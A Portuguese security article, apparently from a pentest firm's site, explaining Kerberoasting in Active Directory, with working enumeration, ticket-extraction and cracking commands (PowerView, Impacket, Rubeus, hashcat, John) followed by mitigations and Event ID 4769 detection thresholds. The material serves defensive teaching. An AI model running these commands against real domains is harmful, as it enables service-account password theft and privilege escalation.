Aviso: As técnicas apresentadas neste artigo são para fins educacionais e de segurança defensiva. A execução de qualquer desses ataques em ambientes sem autorização expressa é ilegal. Este conteúdo destina-se a profissionais de segurança realizando testes autorizados.
O protocolo Kerberos e os Service Principal Names
O Kerberos é o protocolo de autenticação padrão em domínios Active Directory desde o Windows 2000. Seu funcionamento baseia-se em três componentes: o cliente, o servidor alvo e o Key Distribution Center (KDC), que no contexto do AD é o Domain Controller.
O fluxo de autenticação ocorre em duas etapas principais: primeiro, o cliente obtém um Ticket Granting Ticket (TGT) apresentando suas credenciais ao KDC. Em seguida, quando precisa acessar um servico, apresenta o TGT para obter um Ticket de Servico (TGS) especifico para aquele recurso.
Os Service Principal Names (SPNs) são identificadores que associam uma conta de servico a um servico especifico no domínio. Por exemplo, MSSQLSvc/sqlserver01.empresa.local:1433 indica que a conta associada a esse SPN é responsável pelo servico SQL Server naquele servidor.
Como o Kerberoasting explora esse mecanismo
O ponto critico: o KDC criptografa o ticket TGS com a hash da senha da conta de servico associada ao SPN. Qualquer usuario autenticado no domínio pode solicitar um TGS para qualquer SPN registrado, sem precisar de privilégios especiais.
Um atacante que compromete qualquer conta de usuario pode enumerar todos os SPNs do domínio, solicitar tickets TGS para esses servicos e exportar esses tickets para realizar um ataque offline de força bruta para recuperar a senha em texto claro.
A viabilidade do ataque depende da forca da senha da conta de servico. Contas configuradas com senhas fracas ou que nunca foram rotacionadas são os alvos mais comuns.
Execução do ataque: passo a passo
1. Enumeração de SPNs
Com qualquer conta de usuario autenticada, é possível enumerar SPNs usando ferramentas nativas ou do PowerView:
# Usando PowerView
Get-DomainUser -SPN | Select-Object SamAccountName, ServicePrincipalName
# Usando setspn nativo
setspn -T empresa.local -Q */*
# Usando Impacket (Linux)
python3 GetUserSPNs.py empresa.local/usuario:senha 2. Requisicao e exportacão dos tickets
# Rubeus (Windows) - solicita e exporta hashes no formato Hashcat
Rubeus.exe kerberoast /outputfile:hashes.txt
# Impacket (Linux) - coleta e formata para Hashcat
python3 GetUserSPNs.py -request empresa.local/usuario:senha 3. Cracking offline
# Hashcat com wordlist
hashcat -m 13100 hashes.txt wordlist.txt --rules-file=best64.rule
# John the Ripper
john --format=krb5tgs hashes.txt --wordlist=wordlist.txt Controles de defesa e detecção
Senhas longas e complexas para contas de servico
A mitigação mais efetiva é garantir que contas de servico com SPNs possuam senhas longas e aleatórias, com no mínimo 25 caracteres. Isso torna o cracking offline inviável mesmo com hardware dedicado.
Group Managed Service Accounts (gMSA)
As gMSAs gerenciam automaticamente senhas de 240 bits rotacionadas a cada 30 dias, eliminando o risco de Kerberoasting para essas contas. É a solucão recomendada pela Microsoft para servicos que suportam esse tipo de conta.
Detecção via Event ID 4769
O Event ID 4769 registra requisicoes de tickets TGS. Um indicador claro de Kerberoasting é o campo "Ticket Encryption Type" com valor 0x17 (RC4-HMAC). Ambientes modernos devem usar AES256 por padrao; requisicoes RC4 são suspeitas.
| Indicador | Event ID | Threshold de alerta |
|---|---|---|
| TGS Request RC4 (0x17) | 4769 | Qualquer ocorrência |
| Volume alto de TGS de 1 usuario | 4769 | Mais de 10 em 5 minutos |
| Falhas de autenticacao em contas SPN | 4625 | Mais de 3 em 10 minutos |
Impacto em ambientes corporativos
Em pentests de Active Directory realizados pela First Security, Kerberoasting foi o vetor de escalada de privilégio mais frequente em 2024. Na maioria dos casos, contas de servico de aplicacoes legadas como SQL Server, IIS e sistemas ERP possuíam senhas que nunca foram rotacionadas desde a implementacão do sistema.
O impacto de uma conta de servico comprometida varia. Em casos onde a conta possui privilégios de Domain Admin (configuracão incorreta comum), o ataque resulta em comprometimento total do domínio.
Perguntas frequentes
+ O que é Kerberoasting?
Kerberoasting é uma técnica de ataque ao protocolo Kerberos que permite a qualquer usuario autenticado no domínio solicitar tickets de servico (TGS) para contas com SPNs registrados e depois realizar ataque offline de força bruta para recuperar a senha da conta de servico.
+ Kerberoasting requer privilégios elevados?
Não. Qualquer conta de usuario comum autenticada no domínio pode executar Kerberoasting. Isso torna o ataque especialmente perigoso: um atacante que compromete qualquer conta pode potencialmente elevar privilégios para contas de servico com senhas fracas.
+ Como detectar Kerberoasting em producão?
Monitorar o Event ID 4769 com Ticket Encryption Type 0x17 (RC4-HMAC) é o principal indicador. Volume anormal de requisicoes TGS de um único usuario em curto período também indica Kerberoasting automatizado.
Seu Active Directory está vulnerável ao Kerberoasting?
A First Security realiza pentests completos de Active Directory cobrindo Kerberoasting, Pass-the-Hash, DCSync e todos os principais vetores de ataque a ambientes Windows.
Ver pentest de AD Solicitar orçamento